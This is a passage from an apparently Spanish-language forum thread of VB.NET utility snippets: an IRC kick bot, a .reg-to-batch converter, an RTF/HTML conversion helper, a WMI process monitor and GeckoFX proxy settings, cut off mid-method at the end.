ImageDrawHelper.Effects.Rotate([ImageElement], 90, Drawing2D.InterpolationMode.Bicubic)
ImageDrawHelper.Effects.RoundCorners([ImageElement], Corners.All, 120)
ImageDrawHelper.Effects.RoundCorners([ImageElement], Corners.All, 20, 10, Color.Red)
ImageDrawHelper.Effects.Scale([ImageElement], 50, 50, Drawing2D.InterpolationMode.Bicubic)
ImageDrawHelper.Effects.Sharpen([ImageElement])
ImageDrawHelper.Effects.Silhouette([ImageElement], Color.RoyalBlue)
ImageDrawHelper.Effects.Skew([ImageElement], SkewType.Parallelogram, -10, SkewOrientation.Horizontal, True)
ImageDrawHelper.Effects.Solarize([ImageElement])
ImageDrawHelper.Effects.Stretch([ImageElement], 90, 150)
ImageDrawHelper.Effects.Tint([ImageElement], Color.Orange)
PictureBox1.BackgroundImage = [ImageElement].GetOutputImage
Un mini bot para IRC usando la librería Thesher IRC.
Y digo mini bot, porque sólamente le implementé dos funciones muy básicas, !Kick y !KickAll.
El código está bastante hardcodeado.
' [Thresher IRC] Bot example
' (By Elektro)
'
' Instructions
' 1. Add a reference to 'Sharkbite.Thresher.dll'.
'
' Usage Examples:
' Public BOT As New IRCBot("irc.freenode.net", "#ircehn", "ElektroBot")
#Region " Imports "
Imports Sharkbite.Irc
#End Region
Public Class IRCBot
#Region " Members "
#Region " Properties "
''' <summary>
''' Indicates the IRC server to connect.
''' </summary>
Private Property Server As String = String.Empty
''' <summary>
''' Indicates the IRC channel to join.
''' </summary>
Private Property Channel As String = String.Empty
''' <summary>
''' Indicates the nickname to use.
''' </summary>
Private Property Nick As String = String.Empty
#End Region
#Region " Others "
''' <summary>
''' Performs the avaliable Bot commands.
''' </summary>
Public WithEvents BotConnection As Connection
''' <summary>
''' Handles the Bot events.
''' </summary>
Public WithEvents BotListener As Listener
''' <summary>
''' Stores a list of the current users on a channel room.
''' </summary>
Private RoomUserNames As New List(Of String)
''' <summary>
''' Indicates the invoked command arguments.
''' </summary>
Private CommandParts As String() = {String.Empty}
#End Region
#End Region
#Region " Constructor "
''' <summary>
''' Initializes a new instance of the <see cref="IRCBot"/> class.
''' </summary>
''' <param name="Server">Indicates the IRC server to connect.</param>
''' <param name="Channel">Indicates the IRC channel to join.</param>
''' <param name="Nick">Indicates the nickname to use.</param>
Public Sub New(ByVal Server As String,
ByVal Channel As String,
ByVal Nick As String)
Me.Server = Server
Me.Channel = Channel
Me.Nick = Nick
CreateConnection()
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Establishes the first connection to the server.
''' </summary>
Public Sub CreateConnection()
Console.WriteLine(String.Format("[+] Bot started........: '{0}'", DateTime.Now.ToString))
Identd.Start(Me.Nick)
BotConnection = New Connection(New ConnectionArgs(Me.Nick, Me.Server), False, False)
BotListener = BotConnection.Listener
Try
BotConnection.Connect()
Console.WriteLine(String.Format("[+] Connected to server: '{0}'", Me.Server))
Catch e As Exception
Console.WriteLine(String.Format("[X] Error during connection process: {0}", e.ToString))
Identd.Stop()
End Try
End Sub
''' <summary>
''' Kicks everybody from the channel room unless the user who invoked the command.
''' </summary>
''' <param name="UserInvoked">Indicates the user who invoked the command.</param>
''' <param name="CommandMessage">Indicates the command message to retrieve the command arguments.</param>
Private Sub KickEverybody(ByVal UserInvoked As String,
ByVal CommandMessage As String)
' Renew the current nicknames on the channel room.
BotConnection.Sender.AllNames()
' Get the Kick Reason from the CommandMessage.
CommandParts = CommandMessage.Split
Select Case CommandParts.Length
Case Is > 1
CommandParts = CommandParts.Skip(1).ToArray
Case Else
BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
"[X] Can't process the invoked command, 'KickReason' parameter expected."))
BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
"[i] Command Syntax: !KickAll ""Kick Reason"""))
Exit Sub
End Select
' Kick each users one by one.
For Each User As String In (From Nick As String
In RoomUserNames
Where Not Nick = UserInvoked _
AndAlso Not Nick = Me.Nick)
BotConnection.Sender.Kick(Me.Channel, String.Join(" ", CommandParts), User)
Next User
End Sub
''' <summary>
''' Kicks the specified user from the channel.
''' </summary>
''' <param name="CommandMessage">Indicates the command message to retrieve the command arguments.</param>
Private Sub Kick(ByVal CommandMessage As String)
' Renew the current nicknames on the channel room.
BotConnection.Sender.AllNames()
' Get the user to Kick and the Kick Reason.
CommandParts = CommandMessage.Split
Select Case CommandParts.Length
Case Is > 2
CommandParts = CommandParts.Skip(1).ToArray
Case Is < 2
BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
"[X] Can't process the invoked command, 'NickName' parameter expected."))
BotConnection.Sender.PublicMessage(Me.Channel, String.Format(
"[X] Command Syntax: !Kick ""NickName"" ""Kick Reason"""))
Exit Sub
End Select
BotConnection.Sender.Kick(Me.Channel, String.Join(" ", CommandParts.Skip(1)), CommandParts(0))
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Occurs when the Bot joins to a channel.
''' </summary>
Private Sub OnRegistered() Handles BotListener.OnRegistered
Try
Identd.Stop()
BotConnection.Sender.Join(Me.Channel)
Console.WriteLine(String.Format("[+] Channel joined.....: '{0}'", Me.Channel))
Catch e As Exception
Console.WriteLine(String.Format("[X] Error in 'OnRegistered' Event: {0}", e.Message))
End Try
End Sub
''' <summary>
''' Occurs when an unexpected Bot error happens.
''' </summary>
''' <param name="code">Indicates the ReplyCode.</param>
''' <param name="message">Contains the error message information.</param>
Private Sub OnError(ByVal code As ReplyCode,
ByVal message As String) Handles BotListener.OnError
BotConnection.Sender.PublicMessage(Me.Channel, String.Format("[X] Unexpected Error: {0}", message))
Console.WriteLine(String.Format("[X] Unexpected Error: {0}", message))
Debug.WriteLine(String.Format("[X] Unexpected Error: {0}", message))
End Sub
''' <summary>
''' Occurs when a user sends a public message in a channel room.
''' </summary>
''' <param name="user">Indicates the user who sent the public message.</param>
''' <param name="channel">Indicates the channel where the public message was sent.</param>
''' <param name="message">Indicates the content of the public message.</param>
Public Sub OnPublic(ByVal User As UserInfo,
ByVal Channel As String,
ByVal Message As String) Handles BotListener.OnPublic
Select Case True
Case Message.Trim.StartsWith("!KickAll ", StringComparison.OrdinalIgnoreCase)
KickEverybody(User.Nick, Message)
Case message.Trim.StartsWith("!Kick ", StringComparison.OrdinalIgnoreCase)
Kick(Message)
End Select
End Sub
''' <summary>
''' Occurs when the Bot invokes one of the methods to retrieve the nicks of a channel.
''' For example, the 'Sender.AllNames' method.
''' </summary>
''' <param name="Channel">Indicates the channel to list the nicks.</param>
''' <param name="Nicks">Indicates the nicks of the channel.</param>
''' <param name="LastError">Indicates the last command error.</param>
Private Sub OnNames(ByVal Channel As String,
ByVal Nicks() As String,
ByVal LastError As Boolean) Handles BotListener.OnNames
If Channel = Me.Channel AndAlso Not RoomUserNames.Count <> 0 Then
RoomUserNames.Clear()
RoomUserNames.AddRange((From Name As String In Nicks
Select If(Name.StartsWith("@"), Name.Substring(1), Name)).
ToArray)
End If
End Sub
''' <summary>
''' Occurs when the bot invokes the Kick command.
''' </summary>
''' <param name="user">Indicates the user who invoked the Kick command.</param>
''' <param name="channel">Indicates the channel where the user was kicked.</param>
''' <param name="kickee">Indicates the kickee.</param>
''' <param name="reason">Indicates the kick reason.</param>
Private Sub OnKick(ByVal user As UserInfo,
ByVal channel As String,
ByVal kickee As String,
ByVal reason As String) Handles BotListener.OnKick
Console.WriteLine(String.Format("[+]: User kicked: '{0}' From channel: '{1}' With reason: '{2}'.",
user.Nick,
channel,
reason))
End Sub
#End Region
End Class
Una versión pulida de mi ayudante para convertir archivos Reg a Bat
' ***********************************************************************
' Assembly : Reg2Bat
' Author : Elektro
' Modified : 01-28-2014
' ***********************************************************************
' <copyright file="Reg2Bat.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' Dim BatchScript As String = Reg2Bat.Convert("C:\RegistryFile.reg")
' IO.File.WriteAllText("Converted.bat", Reg2Bat.Convert("C:\RegistryFile.reg"), System.Text.Encoding.Default)
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.IO
Imports System.Text
Imports System.Text.RegularExpressions
#End Region
''' <summary>
''' Converts a Registry Script to a Batch Script.
''' </summary>
Public Class Reg2Bat
#Region " ReadOnly Strings "
''' <summary>
''' Indicates the resulting Batch-Script Header.
''' </summary>
Private Shared ReadOnly BatchHeader As String =
<a>:: Converted with Reg2Bat by Elektro
@Echo OFF
</a>.Value
''' <summary>
''' Indicates the resulting Batch-Script Footer.
''' </summary>
Private Shared ReadOnly BatchFooter As String =
<a>
Pause&Exit</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a Comment-Line command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_Comment As String =
<a>REM {0}</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Key-Add command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_KeyAdd As String =
<a>REG ADD "{0}" /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Key-Delete command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_KeyDelete As String =
<a>REG DELETE "{0}" /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG DefaultValue-Add command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_DefaultValueAdd As String =
<a>REG ADD "{0}" /V "" /D {1} /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Value-Add REG_SZ command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_ValueAdd_REGSZ As String =
<a>REG ADD "{0}" /V "{1}" /T "REG_SZ" /D "{2}" /F</a>.Value
''' <summary>
''' Indicates the Batch command StringFormat of a REG Value-Add BINARY command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_ValueAdd_BINARY As String =
<a>REG ADD "{0}" /V "{1}" /T "REG_BINARY" /D "{2}" /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Value-Add DWORD command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_ValueAdd_DWORD As String =
<a>REG ADD "{0}" /V "{1}" /T "REG_DWORD" /D "{2}" /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Value-Add QWORD command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_ValueAdd_QWORD As String =
<a>REG ADD "{0}" /V "{1}" /T "REG_QWORD" /D "{2}" /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Value-Add EXPAND_SZ command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_ValueAdd_EXPANDSZ As String =
<a>REG ADD "{0}" /V "{1}" /T "REG_EXPAND_SZ" /D "{2}" /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Value-Add MULTI_SZ command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_ValueAdd_MULTISZ As String =
<a>REG ADD "{0}" /V "{1}" /T "REG_MULTI_SZ" /D "{2}" /F</a>.Value
''' <summary>
''' Indicates the Batch syntax StringFormat of a REG Value-Delete command.
''' </summary>
Private Shared ReadOnly BatchStringFormat_ValueDelete As String =
<a>REG DELETE "{0}" /V "{1}" /F</a>.Value
''' <summary>
''' Indicates the string to split a BINARY registry line.
''' </summary>
Private Shared ReadOnly RegistryValueSplitter_BINARY As String =
<a>=HEX</a>.Value
''' <summary>
''' Indicates the string to split a DWORD registry line.
''' </summary>
Private Shared ReadOnly RegistryValueSplitter_DWORD As String =
<a>=DWORD:</a>.Value
''' <summary>
''' Indicates the string to split a QWORD registry line.
''' </summary>
Private Shared ReadOnly RegistryValueSplitter_QWORD As String =
<a>=HEX\(b\):</a>.Value
''' <summary>
''' Indicates the string to split a EXPAND_SZ registry line.
''' </summary>
Private Shared ReadOnly RegistryValueSplitter_EXPANDSZ As String =
<a>=HEX\(2\):</a>.Value
''' <summary>
''' Indicates the string to split a MULTI_SZ registry line.
''' </summary>
Private Shared ReadOnly RegistryValueSplitter_MULTISZ As String =
<a>=HEX\(7\):</a>.Value
''' <summary>
''' Indicates the string to split a REG_SZ registry line.
''' </summary>
Private Shared ReadOnly RegistryValueSplitter_REGSZ As String =
<a>"="</a>.Value
#End Region
#Region " Enumerations "
''' <summary>
''' Indicates the data type of a registry value.
''' </summary>
Public Enum RegistryValueType As Integer
''' <summary>
''' A null-terminated string.
''' This will be either a Unicode or an ANSI string.
''' </summary>
REG_SZ = 0
''' <summary>
''' Binary data.
''' </summary>
BINARY = 1
''' <summary>
''' A 32-bit number.
''' </summary>
DWORD = 2
''' <summary>
''' A 64-bit number.
''' </summary>
QWORD = 3
''' <summary>
''' A null-terminated string that contains unexpanded references to environment variables
''' (for example, "%WinDir%").
''' </summary>
EXPAND_SZ = 4
''' <summary>
''' A sequence of null-terminated strings, terminated by an empty string (\0).
'''
''' The following is an example:
''' String1\0String2\0String3\0LastString\0\0
''' The first \0 terminates the first string,
''' the second to the last \0 terminates the last string,
''' and the final \0 terminates the sequence.
''' Note that the final terminator must be factored into the length of the string.
''' </summary>
MULTI_SZ = 5
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Converts a Registry Script to a Batch Script.
''' </summary>
''' <param name="RegistryFile">Indicates the registry file to convert.</param>
''' <returns>System.String.</returns>
Public Shared Function Convert(ByVal RegistryFile As String) As String
' Split the Registry content.
Dim RegistryContent As String() =
String.Join("@@@Reg2Bat@@@", File.ReadAllLines(RegistryFile)).
Replace("\@@@Reg2Bat@@@ ", Nothing).
Replace("@@@Reg2Bat@@@", Environment.NewLine).
Split(Environment.NewLine)
' Where the registry line to convert will be stored.
Dim RegLine As String = String.Empty
' Where the registry key to convert will be stored.
Dim RegKey As String = String.Empty
' Where the registry value to convert will be stored.
Dim RegVal As String = String.Empty
' Where the registry data to convert will be stored.
Dim RegData As String = String.Empty
' Where the decoded registry strings will be stored.
Dim BatchCommands As New StringBuilder
' Writes the specified Batch-Script Header.
BatchCommands.AppendLine(BatchHeader)
' Start reading the Registry File.
For X As Long = 0 To RegistryContent.LongLength - 1
RegLine = RegistryContent(X).Trim
Select Case True
Case RegLine.StartsWith(";"), RegLine.StartsWith("#") ' It's a comment line.
BatchCommands.AppendLine(
String.Format(BatchStringFormat_Comment, RegLine.Substring(1, RegLine.Length - 1).Trim))
Case RegLine.StartsWith("[-") ' It's a key to delete.
RegKey = RegLine.Substring(2, RegLine.Length - 3).Trim
BatchCommands.AppendLine(String.Format(BatchStringFormat_KeyDelete, RegKey))
Case RegLine.StartsWith("[") ' It's a key to add.
RegKey = RegLine.Substring(1, RegLine.Length - 2).Trim
BatchCommands.AppendLine(String.Format(BatchStringFormat_KeyAdd, RegKey))
Case RegLine.StartsWith("@=") ' It's a default value to add.
RegData = RegLine.Split("@=").Last
BatchCommands.AppendLine(String.Format(BatchStringFormat_DefaultValueAdd, RegKey, RegData))
Case RegLine.StartsWith("""") _
AndAlso RegLine.Split("=").Last = "-" ' It's a value to delete.
RegVal = RegLine.Substring(1, RegLine.Length - 4)
BatchCommands.AppendLine(String.Format(BatchStringFormat_ValueDelete, RegKey, RegVal))
Case RegLine.StartsWith("""") ' It's a value to add.
Select Case RegLine.Split("=")(1).Split(":").First.ToUpper
Case "HEX" ' It's a Binary value.
RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.BINARY))
RegData = GetRegistryData(RegLine, RegistryValueType.BINARY)
BatchCommands.AppendLine(
String.Format(BatchStringFormat_ValueAdd_BINARY, RegKey, RegVal, RegData))
Case "DWORD" ' It's a DWORD value.
RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.DWORD))
RegData = GetRegistryData(RegLine, RegistryValueType.DWORD)
BatchCommands.AppendLine(
String.Format(BatchStringFormat_ValueAdd_DWORD, RegKey, RegVal, RegData))
Case "HEX(B)" ' It's a QWORD value.
RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.QWORD))
RegData = GetRegistryData(RegLine, RegistryValueType.QWORD)
BatchCommands.AppendLine(
String.Format(BatchStringFormat_ValueAdd_QWORD, RegKey, RegVal, RegData))
Case "HEX(2)" ' It's a EXPAND_SZ value.
RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.EXPAND_SZ))
RegData = FormatRegistryString(GetRegistryData(RegLine, RegistryValueType.EXPAND_SZ))
BatchCommands.AppendLine(
String.Format(BatchStringFormat_ValueAdd_EXPANDSZ, RegKey, RegVal, RegData))
Case "HEX(7)" ' It's a MULTI_SZ value.
RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.MULTI_SZ))
RegData = FormatRegistryString(GetRegistryData(RegLine, RegistryValueType.MULTI_SZ))
BatchCommands.AppendLine(
String.Format(BatchStringFormat_ValueAdd_MULTISZ, RegKey, RegVal, RegData))
Case Else ' It's a REG_SZ value.
RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.REG_SZ))
RegData = FormatRegistryString(GetRegistryData(RegLine, RegistryValueType.REG_SZ))
BatchCommands.AppendLine(
String.Format(BatchStringFormat_ValueAdd_REGSZ, RegKey, RegVal, RegData))
End Select ' RegLine.Split("=")(1).Split(":").First.ToUpper
End Select ' RegLine.StartsWith("""")
Next X ' RegLine
' Writes the specified Batch-Script Footer.
BatchCommands.AppendLine(BatchFooter)
Return BatchCommands.ToString
End Function
#End Region
#Region " Private Methods "
''' <summary>
''' Gets the registry value of a registry line.
''' </summary>
''' <param name="RegistryLine">Indicates the registry line.</param>
''' <param name="RegistryValueType">Indicates the type of the registry value.</param>
''' <returns>System.String.</returns>
Private Shared Function GetRegistryValue(ByVal RegistryLine As String,
ByVal RegistryValueType As RegistryValueType) As String
Dim Value As String = String.Empty
Select Case RegistryValueType
Case RegistryValueType.BINARY
Value = Regex.Split(RegistryLine,
RegistryValueSplitter_BINARY,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
Case RegistryValueType.DWORD
Value = Regex.Split(RegistryLine,
RegistryValueSplitter_DWORD,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
Case RegistryValueType.QWORD
Value = Regex.Split(RegistryLine,
RegistryValueSplitter_QWORD,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
Case RegistryValueType.EXPAND_SZ
Value = Regex.Split(RegistryLine,
RegistryValueSplitter_EXPANDSZ,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
Case RegistryValueType.MULTI_SZ
Value = Regex.Split(RegistryLine,
RegistryValueSplitter_MULTISZ,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
Case RegistryValueType.REG_SZ
Value = Regex.Split(RegistryLine,
RegistryValueSplitter_REGSZ,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
End Select
If Value.StartsWith("""") Then
Value = Value.Substring(1, Value.Length - 1)
End If
If Value.EndsWith("""") Then
Value = Value.Substring(0, Value.Length - 1)
End If
Return Value
End Function
''' <summary>
''' Gets the registry data of a registry line.
''' </summary>
''' <param name="RegistryLine">Indicates the registry line.</param>
''' <param name="RegistryValueType">Indicates the type of the registry value.</param>
''' <returns>System.String.</returns>
Private Shared Function GetRegistryData(ByVal RegistryLine As String,
ByVal RegistryValueType As RegistryValueType) As String
Dim Data As String = String.Empty
Select Case RegistryValueType
Case RegistryValueType.BINARY
Data = Regex.Split(RegistryLine,
Regex.Split(RegistryLine,
RegistryValueSplitter_BINARY, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
RegistryValueSplitter_BINARY,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).
Last.
Replace(",", Nothing)
Case RegistryValueType.DWORD
Data = Regex.Split(RegistryLine,
Regex.Split(RegistryLine,
RegistryValueSplitter_DWORD, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
RegistryValueSplitter_DWORD,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).
Last.
Replace(",", Nothing)
Data = "0x" & Data
Case RegistryValueType.QWORD
RegistryLine =
String.Join(Nothing,
Regex.Split(RegistryLine,
Regex.Split(RegistryLine,
RegistryValueSplitter_QWORD, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
RegistryValueSplitter_QWORD,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).
Last.
Reverse)
For Each [Byte] As String In RegistryLine.Split(",")
Data &= String.Join(Nothing, [Byte].Reverse)
Next [Byte]
Data = "0x" & Data
Case RegistryValueType.EXPAND_SZ
RegistryLine = Regex.Split(RegistryLine,
Regex.Split(RegistryLine,
RegistryValueSplitter_EXPANDSZ, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
RegistryValueSplitter_EXPANDSZ,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).
Last.
Replace(",00", "").
Replace("00,", "")
For Each [Byte] As String In RegistryLine.Split(",")
Data &= Chr(Val("&H" & [Byte]))
Next [Byte]
Data = Data.Replace("""", "\""")
Case RegistryValueType.MULTI_SZ
RegistryLine = Regex.Split(RegistryLine,
Regex.Split(RegistryLine,
RegistryValueSplitter_MULTISZ, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
RegistryValueSplitter_MULTISZ,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).
Last.
Replace(",00,00,00", ",\0").
Replace(",00", "").
Replace("00,", "")
For Each [Byte] In RegistryLine.Split(",")
If [Byte] = "\0" Then
Data &= "\0" ' Multiline separator.
Else
Data &= Chr(Val("&H" & [Byte]))
End If
Next
Return Data.Replace("""", "\""")
Case RegistryValueType.REG_SZ
Data = Regex.Split(RegistryLine,
Regex.Split(RegistryLine,
RegistryValueSplitter_REGSZ, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
RegistryValueSplitter_REGSZ,
RegexOptions.IgnoreCase Or RegexOptions.Singleline).
Last
Data = Data.Substring(0, Data.Length - 1).Replace("\\", "\")
End Select
Return Data
End Function
''' <summary>
''' Properly formats a registry string to insert it in a Batch command string.
''' </summary>
''' <param name="RegistryString">Indicates the Reg Batch command string.</param>
''' <returns>System.String.</returns>
Private Shared Function FormatRegistryString(ByVal RegistryString As String) As String
RegistryString = RegistryString.Replace("%", "%%")
If Not RegistryString.Contains("""") Then
Return RegistryString
End If
RegistryString = RegistryString.Replace("\""", """")
Dim strArray() As String = RegistryString.Split("""")
For X As Long = 1 To strArray.Length - 1 Step 2
strArray(X) = strArray(X).Replace("^", "^^") ' This replacement need to be THE FIRST.
strArray(X) = strArray(X).Replace("<", "^<")
strArray(X) = strArray(X).Replace(">", "^>")
strArray(X) = strArray(X).Replace("|", "^|")
strArray(X) = strArray(X).Replace("&", "^&")
' strArray(X) = strArray(X).Replace("\", "\\")
Next X
Return String.Join("\""", strArray)
End Function
#End Region
#Region " Hidden methods "
' These methods are purposely hidden from Intellisense just to look better without unneeded methods.
' NOTE: The methods can be re-enabled at any-time if needed.
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ReferenceEquals()
End Sub
#End Region
End Class
Una Helper Class para la librería de pago Nasosoft transform (http://www.nasosoft.com/naso/Products/FileFormatComponents/NETRTF2HTMLControl/tabid/163/Default.aspx), para convertir text RTF a HTML y viceversa.
' ***********************************************************************
' Author : Elektro
' Modified : 02-05-2014
' ***********************************************************************
' <copyright file="DocumentConverter.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Example Usages "
'MsgBox(DocumentConverter.Html2Rtf("Hello World!"))
'MsgBox(DocumentConverter.Rtf2Html("{\rtf1\ansi\fbidis\ansicpg1252\deff0{\fonttbl{\f0\fswiss\fcharset0 Times New Roman;}{\f1\fswiss\fcharset2 Symbol;}}{\colortbl;\red192\green192\blue192;}\viewkind5\viewscale100{\*\bkmkstart BM_BEGIN}\pard\plain\f0{Hello World!}}"))
'Dim HtmlText As String = DocumentConverter.Rtf2Html(IO.File.ReadAllText("C:\File.rtf"), TextEncoding:=Nothing)
'Dim RtfText As String = DocumentConverter.Html2Rtf(IO.File.ReadAllText("C:\File.html"), TextEncoding:=Nothing)
'Dim PlainTextFromRtf As String = DocumentConverter.Rtf2Txt(IO.File.ReadAllText("C:\File.rtf"), TextEncoding:=Nothing)
'Dim PlainTextFromHtml As String = DocumentConverter.Html2Txt(IO.File.ReadAllText("C:\File.html"), TextEncoding:=Nothing)
#End Region
#Region " Imports "
Imports Nasosoft.Documents.Transform
Imports System.IO
Imports System.Text
#End Region
''' <summary>
''' Performs document conversion operations.
''' </summary>
Public Class DocumentConverter
#Region " Public Methods "
''' <summary>
''' Converts RTF text to HTML.
''' </summary>
''' <param name="RtfText">Indicates the RTF text.</param>
''' <param name="TextEncoding">Indicates the text encoding.</param>
''' <returns>System.String.</returns>
Public Shared Function Rtf2Html(ByVal RtfText As String,
Optional ByVal TextEncoding As Encoding = Nothing) As String
TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
Dim RtfStream As New MemoryStream(TextEncoding.GetBytes(RtfText))
Dim HtmlStream As New MemoryStream
Dim HtmlText As String = String.Empty
Using Converter As New RtfToHtmlTransform()
Converter.Load(RtfStream)
Converter.Transform(HtmlStream)
End Using
HtmlStream.Position = 0
Using StrReader As New StreamReader(HtmlStream)
HtmlText = StrReader.ReadToEnd
End Using
RtfStream.Close()
HtmlStream.Close()
Return HtmlText
End Function
''' <summary>
''' Converts RTF text to TXT (Plain text).
''' </summary>
''' <param name="RtfText">Indicates the RTF text.</param>
''' <param name="TextEncoding">Indicates the text encoding.</param>
''' <returns>System.String.</returns>
Public Shared Function Rtf2Txt(ByVal RtfText As String,
Optional ByVal TextEncoding As Encoding = Nothing) As String
TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
Dim RtfStream As New MemoryStream(TextEncoding.GetBytes(RtfText))
Dim TextStream As New MemoryStream
Dim PlainText As String = String.Empty
Using Converter As New RtfToTextTransform()
Converter.Load(RtfStream)
Converter.Transform(TextStream)
End Using
TextStream.Position = 0
Using StrReader As New StreamReader(TextStream)
PlainText = StrReader.ReadToEnd
End Using
RtfStream.Close()
TextStream.Close()
Return PlainText
End Function
''' <summary>
''' Converts HTML text to RTF.
''' </summary>
''' <param name="HtmlText">Indicates the HTML text.</param>
''' <param name="TextEncoding">Indicates the text encoding.</param>
''' <returns>System.String.</returns>
Public Shared Function Html2Rtf(ByVal HtmlText As String,
Optional ByVal TextEncoding As Encoding = Nothing) As String
TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
Dim HtmlStream As New MemoryStream(TextEncoding.GetBytes(HtmlText))
Dim RtfStream As New MemoryStream
Dim RtfText As String = String.Empty
Using Converter As New HtmlToRtfTransform()
Converter.Load(HtmlStream)
Converter.Transform(RtfStream)
End Using
RtfStream.Position = 0
Using StrReader As New StreamReader(RtfStream)
RtfText = StrReader.ReadToEnd
End Using
HtmlStream.Close()
RtfStream.Close()
Return RtfText
End Function
''' <summary>
''' Converts HTML text to TXT (Plain text).
''' </summary>
''' <param name="HtmlText">Indicates the HTML text.</param>
''' <param name="TextEncoding">Indicates the text encoding.</param>
''' <returns>System.String.</returns>
Public Shared Function Html2Txt(ByVal HtmlText As String,
Optional ByVal TextEncoding As Encoding = Nothing) As String
TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
Dim HtmlStream As New MemoryStream(TextEncoding.GetBytes(HtmlText))
Dim TextStream As New MemoryStream
Dim PlainText As String = String.Empty
Using Converter As New HtmlToTextTransform()
Converter.Load(HtmlStream)
Converter.Transform(TextStream)
End Using
TextStream.Position = 0
Using StrReader As New StreamReader(TextStream)
PlainText = StrReader.ReadToEnd
End Using
HtmlStream.Close()
TextStream.Close()
Return PlainText
End Function
#End Region
End Class
Ejemplo para monitorear la ejecución de los procesos del sistema:
Public Class Form1
Private WithEvents ProcessStartWatcher As ManagementEventWatcher =
New ManagementEventWatcher(
New WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace"))
Private WithEvents ProcessStopWatcher As ManagementEventWatcher =
New System.Management.ManagementEventWatcher(
New WqlEventQuery("SELECT * FROM Win32_ProcessStopTrace"))
Private Shadows Sub Load() Handles MyBase.Load
ProcessStartWatcher.Start()
ProcessStopWatcher.Start()
End Sub
Private Shadows Sub Closing() Handles MyBase.Closing
ProcessStartWatcher.Stop()
ProcessStopWatcher.Stop()
End Sub
Public Sub ProcessStartWatcher_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) _
Handles ProcessStartWatcher.EventArrived
MsgBox(String.Format("Process started: {0}",
e.NewEvent.Properties("ProcessName").Value))
End Sub
Private Sub ProcessStopWatcher_Stopped(ByVal sender As Object, ByVal e As EventArrivedEventArgs) _
Handles ProcessStopWatcher.EventArrived
MsgBox(String.Format("Process stopped: {0}",
e.NewEvent.Properties("ProcessName").Value))
End Sub
End Class
Modificar el proxy de un GeckoFX Webbrowser:
' By Elektro
''' <summary>
''' ProxyTypes of Gecko webbrowser.
''' </summary>
Public Enum ProxyType
''' <summary>
''' Direct connection, no proxy.
''' (Default in Windows and Mac previous to 1.9.2.4 /Firefox 3.6.4)
''' </summary>
DirectConnection = 0
''' <summary>
''' Manual proxy configuration.
''' </summary>
Manual = 1
''' <summary>
''' Proxy auto-configuration (PAC).
''' </summary>
AutoConfiguration = 2
''' <summary>
''' Auto-detect proxy settings.
''' </summary>
AutoDetect = 4
''' <summary>
''' Use system proxy settings.
''' (Default in Linux; default for all platforms, starting in 1.9.2.4 /Firefox 3.6.4)
''' </summary>
System = 5
End Enum
''' <summary>
''' Sets the proxy type of a Gecko Webbrowser.
''' </summary>
''' <param name="ProxyType">Indicates the type of proxy.</param>
Private Sub SetGeckoProxyType(ByVal ProxyType As ProxyType)
GeckoPreferences.Default("network.proxy.type") = ProxyType
